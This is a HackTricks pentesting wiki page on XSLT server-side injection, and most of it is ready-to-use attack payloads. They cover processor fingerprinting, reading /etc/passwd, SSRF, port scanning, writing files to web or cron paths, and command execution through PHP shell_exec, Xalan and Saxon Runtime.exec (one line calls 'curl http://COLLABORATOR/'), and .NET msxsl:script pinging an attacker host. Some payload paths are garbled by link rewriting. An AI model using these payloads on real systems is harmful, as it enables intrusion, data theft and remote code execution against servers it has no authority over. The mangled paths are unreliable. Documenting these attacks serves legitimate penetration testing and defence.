xslt-server-side-injection-extensible-stylesheet-language-transformations.md (21867B)
1 --- 2 title: "XSLT Server-Side Injection (Extensible Stylesheet Language Transformations)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # XSLT Server-Side Injection (Extensible Stylesheet Language Transformations) 14 15 ## Basic Information 16 17 XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.<sup>[[2]](#references)</sup> 18 19 The frameworks that are most frequently used include:<sup>[[3]](#references)</sup> 20 21 - **Libxslt** from Gnome, 22 - **Xalan** from Apache, 23 - **Saxon** from Saxonica. 24 25 For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).<sup>[[10]](#references)</sup> 26 27 ## Example - Tutorial 28 29 ```bash 30 sudo apt-get install default-jdk 31 sudo apt-get install libsaxonb-java libsaxon-java 32 ``` 33 34 ```xml 35 <?xml version="1.0" encoding="UTF-8"?> 36 <catalog> 37 <cd> 38 <title>CD Title</title> 39 <artist>The artist</artist> 40 <company>Da Company</company> 41 <price>10000</price> 42 <year>1760</year> 43 </cd> 44 </catalog> 45 ``` 46 47 ```xml 48 <?xml version="1.0" encoding="UTF-8"?> 49 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 50 <xsl:template match="/"> 51 <html> 52 <body> 53 <h2>The Super title</h2> 54 <table border="1"> 55 <tr bgcolor="#9acd32"> 56 <th>Title</th> 57 <th>artist</th> 58 </tr> 59 <tr> 60 <td><xsl:value-of select="catalog/cd/title"/></td> 61 <td><xsl:value-of select="catalog/cd/artist"/></td> 62 </tr> 63 </table> 64 </body> 65 </html> 66 </xsl:template> 67 </xsl:stylesheet> 68 ``` 69 70 Execute: 71 72 ```xml 73 saxonb-xslt -xsl:xsl.xsl xml.xml 74 75 Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl: 76 Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor 77 <html> 78 <body> 79 <h2>The Super title</h2> 80 <table border="1"> 81 <tr bgcolor="#9acd32"> 82 <th>Title</th> 83 <th>artist</th> 84 </tr> 85 <tr> 86 <td>CD Title</td> 87 <td>The artist</td> 88 </tr> 89 </table> 90 </body> 91 </html> 92 ``` 93 94 ### Fingerprint 95 96 ```xml 97 <?xml version="1.0" encoding="ISO-8859-1"?> 98 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 99 <xsl:template match="/"> 100 Version: <xsl:value-of select="system-property('xsl:version')" /><br /> 101 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> 102 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> 103 <xsl:if test="system-property('xsl:product-name')"> 104 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> 105 </xsl:if> 106 <xsl:if test="system-property('xsl:product-version')"> 107 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> 108 </xsl:if> 109 <xsl:if test="system-property('xsl:is-schema-aware')"> 110 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> 111 </xsl:if> 112 <xsl:if test="system-property('xsl:supports-serialization')"> 113 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')" 114 /><br /> 115 </xsl:if> 116 <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> 117 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')" 118 /><br /> 119 </xsl:if> 120 </xsl:template> 121 </xsl:stylesheet> 122 ``` 123 124 And execute 125 126 ```xml 127 $saxonb-xslt -xsl:detection.xsl xml.xml 128 129 Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl: 130 Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor 131 <h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br> 132 ``` 133 134 ### Post-fingerprint attack map 135 136 Once you have the vendor string, switch quickly to the processor-specific primitives instead of retrying generic XXE payloads: 137 138 - **libxslt / lxml / GNOME**: test `document()`, `exsl:document`, and in PHP environments `php:function()`. 139 - **Saxon / Saxonica**: test `unparsed-text()`, `xsl:result-document`, and Java/C# extension functions if external functions are enabled. 140 - **Xalan / Apache**: test Java extension namespaces such as `http://xml.apache.org/xalan/java` and `xalan://...`; blind RCE or file-write payloads are often easier than capturing stdout. 141 - **Microsoft / .NET**: test `document()` plus `msxsl:script`; on modern .NET (Core / 5+) embedded script is unsupported, so a failed script payload does **not** rule out `document()`-based SSRF/LFI. 142 143 ### Read Local File 144 145 ```xml 146 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> 147 <xsl:template match="/"> 148 <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/> 149 </xsl:template> 150 </xsl:stylesheet> 151 ``` 152 153 ```xml 154 $ saxonb-xslt -xsl:read.xsl xml.xml 155 156 Warning: at xsl:stylesheet on line 1 column 111 of read.xsl: 157 Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor 158 <?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash 159 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 160 bin:x:2:2:bin:/bin:/usr/sbin/nologin 161 sys:x:3:3:sys:/dev:/usr/sbin/nologin 162 sync:x:4:65534:sync:/bin:/bin/sync 163 games:x:5:60:games:/usr/games:/usr/sbin/nologin 164 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 165 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 166 ``` 167 168 ### SSRF 169 170 ```xml 171 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> 172 <xsl:include href="http://127.0.0.1:8000/xslt"/> 173 <xsl:template match="/"> 174 </xsl:template> 175 </xsl:stylesheet> 176 ``` 177 178 ### Versions 179 180 There might be more or less functions depending on the XSLT version used: 181 182 - [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/) 183 - [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/) 184 - [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/) 185 186 ## Fingerprint 187 188 Upload this and take information 189 190 ```xml 191 <?xml version="1.0" encoding="ISO-8859-1"?> 192 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 193 <xsl:template match="/"> 194 Version: <xsl:value-of select="system-property('xsl:version')" /><br /> 195 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> 196 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> 197 <xsl:if test="system-property('xsl:product-name')"> 198 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> 199 </xsl:if> 200 <xsl:if test="system-property('xsl:product-version')"> 201 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> 202 </xsl:if> 203 <xsl:if test="system-property('xsl:is-schema-aware')"> 204 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> 205 </xsl:if> 206 <xsl:if test="system-property('xsl:supports-serialization')"> 207 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')" 208 /><br /> 209 </xsl:if> 210 <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> 211 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')" 212 /><br /> 213 </xsl:if> 214 </xsl:template> 215 </xsl:stylesheet> 216 ``` 217 218 ## SSRF 219 220 ```xml 221 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"> 222 </esi:include> 223 ``` 224 225 ## Javascript Injection 226 227 ```xml 228 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 229 <xsl:template match="/"> 230 <script>confirm("We're good");</script> 231 </xsl:template> 232 </xsl:stylesheet> 233 ``` 234 235 ## Directory listing (PHP) 236 237 ### **Opendir + readdir** 238 239 ```xml 240 <?xml version="1.0" encoding="utf-8"?> 241 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" > 242 <xsl:template match="/"> 243 <xsl:value-of select="php:function('opendir','/path/to/dir')"/> 244 <xsl:value-of select="php:function('readdir')"/> - 245 <xsl:value-of select="php:function('readdir')"/> - 246 <xsl:value-of select="php:function('readdir')"/> - 247 <xsl:value-of select="php:function('readdir')"/> - 248 <xsl:value-of select="php:function('readdir')"/> - 249 <xsl:value-of select="php:function('readdir')"/> - 250 <xsl:value-of select="php:function('readdir')"/> - 251 <xsl:value-of select="php:function('readdir')"/> - 252 <xsl:value-of select="php:function('readdir')"/> - 253 </xsl:template></xsl:stylesheet> 254 ``` 255 256 ### **Assert (var_dump + scandir + false)** 257 258 ```xml 259 <?xml version="1.0" encoding="UTF-8"?> 260 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 261 <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> 262 <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" /> 263 <br /> 264 </body> 265 </html> 266 ``` 267 268 ## Read files 269 270 ### **Internal - PHP** 271 272 ```xml 273 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> 274 <xsl:template match="/"> 275 <xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/> 276 </xsl:template> 277 </xsl:stylesheet> 278 ``` 279 280 ### **Internal - XXE** 281 282 ```xml 283 <?xml version="1.0" encoding="utf-8"?> 284 <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]> 285 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 286 <xsl:template match="/"> 287 &ext_file; 288 </xsl:template> 289 </xsl:stylesheet> 290 ``` 291 292 ### **Through HTTP** 293 294 ```xml 295 <?xml version="1.0" encoding="utf-8"?> 296 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 297 <xsl:template match="/"> 298 <xsl:value-of select="document('/etc/passwd')"/> 299 </xsl:template> 300 </xsl:stylesheet> 301 ``` 302 303 ```xml 304 <!DOCTYPE xsl:stylesheet [ 305 <!ENTITY passwd SYSTEM "file:///etc/passwd" >]> 306 <xsl:template match="/"> 307 &passwd; 308 </xsl:template> 309 ``` 310 311 ### **`document()` usually expects XML** 312 313 On **libxslt**, `document()` is useful for SSRF and for reading **other XML documents**, but trying to read arbitrary local text files such as `/etc/passwd` will often fail because the referenced resource is parsed as XML. 314 315 - `document('/path/to/file.xml')` may work if the target file is valid XML. 316 - `document('/etc/passwd')` commonly errors because the file is not XML. 317 318 This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.<sup>[[4]](#references)</sup> 319 320 ### Parser asymmetry: XML hardened, XSLT still dangerous 321 322 Some applications harden the **input XML** parser but not the **stylesheet** parser. With lxml, options such as `resolve_entities=False`, `no_network=True`, `dtd_validation=False`, and `load_dtd=False` can block classic XXE in the uploaded XML while the XSLT still gets parsed with default settings or extension features enabled. 323 324 That pattern usually means: 325 326 - XXE in the XML document may fail. 327 - XSLT-specific features such as `system-property()`, `document()`, extension functions, and EXSLT elements may still be reachable. 328 329 So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result. 330 331 With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.<sup>[[7]](#references)</sup> 332 333 ### **Internal (PHP-function)** 334 335 ```xml 336 <?xml version="1.0" encoding="utf-8"?> 337 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" > 338 <xsl:template match="/"> 339 <xsl:value-of select="php:function('file_get_contents','/path/to/file')"/> 340 </xsl:template> 341 </xsl:stylesheet> 342 ``` 343 344 ```xml 345 <?xml version="1.0" encoding="UTF-8"?> 346 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 347 <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> 348 <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" /> 349 <br /> 350 </body> 351 </html> 352 ``` 353 354 ### Port scan 355 356 ```xml 357 <?xml version="1.0" encoding="utf-8"?> 358 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" > 359 <xsl:template match="/"> 360 <xsl:value-of select="document('http://example.com:22')"/> 361 </xsl:template> 362 </xsl:stylesheet> 363 ``` 364 365 ## Write to a file 366 367 ### XSLT 2.0 368 369 ```xml 370 <?xml version="1.0" encoding="utf-8"?> 371 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" > 372 <xsl:template match="/"> 373 <xsl:result-document href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/local_file.txt"> 374 <xsl:text>Write Local File</xsl:text> 375 </xsl:result-document> 376 </xsl:template> 377 </xsl:stylesheet> 378 ``` 379 380 ### **Xalan-J extension** 381 382 ```xml 383 <xsl:template match="/"> 384 <redirect:open file="local_file.txt"/> 385 <redirect:write file="local_file.txt"/> Write Local File</redirect:write> 386 <redirect:close file="loxal_file.txt"/> 387 </xsl:template> 388 ``` 389 390 ### **libxslt / EXSLT `exsl:document`** 391 392 If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.<sup>[[4]](#references)[[6]](#references)</sup> 393 394 ```xml 395 <?xml version="1.0" encoding="UTF-8"?> 396 <xsl:stylesheet 397 version="1.0" 398 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 399 xmlns:exsl="http://exslt.org/common" 400 extension-element-prefixes="exsl"> 401 <xsl:template match="/"> 402 <exsl:document href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//var/www/html/test.txt" method="text"> 403 0xdf was here! 404 </exsl:document> 405 </xsl:template> 406 </xsl:stylesheet> 407 ``` 408 409 Practical workflow: 410 411 - First write a marker into a **web-served path** to confirm the primitive. 412 - Then write into an **execution sink** already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input. 413 414 If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.<sup>[[4]](#references)</sup> 415 416 Other ways to write files in the PDF 417 418 ## Include external XSL 419 420 ```xml 421 <xsl:include href="http://external.example/external.xsl"/> 422 ``` 423 424 ```xml 425 <?xml version="1.0" ?> 426 <?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?> 427 ``` 428 429 ## Execute code 430 431 ### **php:function** 432 433 ```xml 434 <?xml version="1.0" encoding="utf-8"?> 435 <xsl:stylesheet version="1.0" 436 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 437 xmlns:php="http://php.net/xsl" > 438 <xsl:template match="/"> 439 <xsl:value-of select="php:function('shell_exec','sleep 10')" /> 440 </xsl:template> 441 </xsl:stylesheet> 442 ``` 443 444 ```xml 445 <?xml version="1.0" encoding="UTF-8"?> 446 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 447 <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> 448 <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" /> 449 <br /> 450 </body> 451 </html> 452 ``` 453 454 Execute code using other frameworks in the PDF<sup>[[1]](#references)</sup> 455 456 ### **Java / .NET specific execution primitives** 457 458 #### **Xalan-Java (blind command execution)** 459 460 ```xml 461 <?xml version="1.0"?> 462 <xsl:stylesheet version="1.0" 463 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 464 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> 465 <xsl:template match="/"> 466 <xsl:variable name="r" select="rt:getRuntime()"/> 467 <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/> 468 </xsl:template> 469 </xsl:stylesheet> 470 ``` 471 472 If you only get a boolean or a Java object reference back, treat it as **blind RCE** and pivot to DNS/HTTP callbacks, file writes, or time delays instead of trying to capture stdout directly. 473 474 #### **Saxon (reflexive Java extension functions)** 475 476 ```xml 477 <?xml version="1.0"?> 478 <xsl:stylesheet version="2.0" 479 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 480 xmlns:rt="java:java.lang.Runtime"> 481 <xsl:template match="/"> 482 <xsl:variable name="r" select="rt:getRuntime()"/> 483 <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/> 484 </xsl:template> 485 </xsl:stylesheet> 486 ``` 487 488 This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.<sup>[[8]](#references)</sup> 489 490 #### **.NET `msxsl:script`** 491 492 ```xml 493 <?xml version="1.0"?> 494 <xsl:stylesheet version="1.0" 495 xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 496 xmlns:msxsl="urn:schemas-microsoft-com:xslt" 497 xmlns:user="urn:evil"> 498 <msxsl:script language="C#" implements-prefix="user"><![CDATA[ 499 public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker"); return "ok";} 500 ]]></msxsl:script> 501 <xsl:template match="/"><xsl:value-of select="user:run()"/></xsl:template> 502 </xsl:stylesheet> 503 ``` 504 505 This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.<sup>[[9]](#references)</sup> 506 507 ### **More Languages** 508 509 This page contains RCE examples for other languages and runtimes: [**Fortify XSLT injection examples**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**. 510 511 ## **Access PHP static functions from classes** 512 513 The following function will call the static method `stringToUrl` of the class XSL: 514 515 ```xml 516 <!--- More complex test to call php class function--> 517 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" 518 version="1.0"> 519 <xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" /> 520 <xsl:template match="root"> 521 <html> 522 <!-- We use the php suffix to call the static class function stringToUrl() --> 523 <xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" /> 524 <!-- Output: 'une_superstring ao modifier' --> 525 </html> 526 </xsl:template> 527 </xsl:stylesheet> 528 ``` 529 530 (Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) 531 532 ### GeoNetwork formatter upload chain 533 534 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork) 535 536 ## More Payloads 537 538 - Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) for additional processor-specific discovery and exploitation payloads.<sup>[[5]](#references)</sup> 539 - Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) 540 541 ## **Brute-Force Detection List** 542 543 544 [Xslt.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt) 545 546 ## References 547 548 - [1] [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf) 549 - [2] [Abusing XSLT for practical attacks - Arnaboldi - IOActive](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf) 550 - [3] [Abusing XSLT for practical attacks - Arnaboldi - Blackhat 2015](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf) 551 - [4] [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html) 552 - [5] [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/) 553 - [6] [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html) 554 - [7] [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html) 555 - [8] [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html) 556 - [9] [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script) 557 - [10] [gosecure.net - Esi Injection Part 2 Abusing Specific Implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations)